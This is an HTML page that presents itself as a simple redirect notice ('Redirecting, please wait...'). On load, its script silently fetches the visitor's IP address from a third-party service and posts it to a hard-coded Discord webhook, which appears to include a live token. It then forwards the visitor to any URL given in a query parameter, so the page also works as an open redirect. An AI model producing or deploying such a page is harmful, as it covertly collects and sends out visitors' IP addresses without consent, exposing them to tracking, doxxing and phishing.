<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Redirecting...</title>
    <script>
        // Function to get the URL parameter by name
        function getUrlParameter(name) {
            var urlParams = new URLSearchParams(window.location.search);
            return urlParams.get(name);
        }

        // Function to send IP address to Discord webhook
        function sendIPToDiscord(ip) {
            const webhookUrl = "https://discord.com/api/webhooks/1323715298980921396/fnEOk8aU1lsU2_TkZEiaI3itCh8LJPgxld3ARad3gcTfdhR0Y7rQc9Wm1KTLyEKaLzd8";
            const payload = {
                content: `User's IP: ${ip}`
            };

            // Send a POST request to the webhook
            fetch(webhookUrl, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify(payload)
            }).catch(err => {
                console.error("Error sending IP to Discord:", err);
            });
        }

        // Fetch the user's IP address using an external API
        function fetchAndRedirect() {
            // Get the target URL from the URL parameters
            const targetUrl = getUrlParameter('url');
            if (targetUrl) {
                // Fetch the user's IP address from a third-party API
                fetch('https://api.ipify.org?format=json')
                    .then(response => response.json())
                    .then(data => {
                        const userIP = data.ip;
                        console.log('User IP:', userIP);
                        sendIPToDiscord(userIP);

                        // Redirect the user to the specified URL
                        window.location.href = targetUrl;
                    })
                    .catch(err => {
                        console.error("Error fetching IP address:", err);
                    });
            } else {
                console.error("No 'url' parameter found in the URL");
            }
        }

        // Call the function to fetch IP and redirect
        window.onload = fetchAndRedirect;
    </script>
</head>
<body>
    <p>Redirecting, please wait...</p>
</body>
</html>
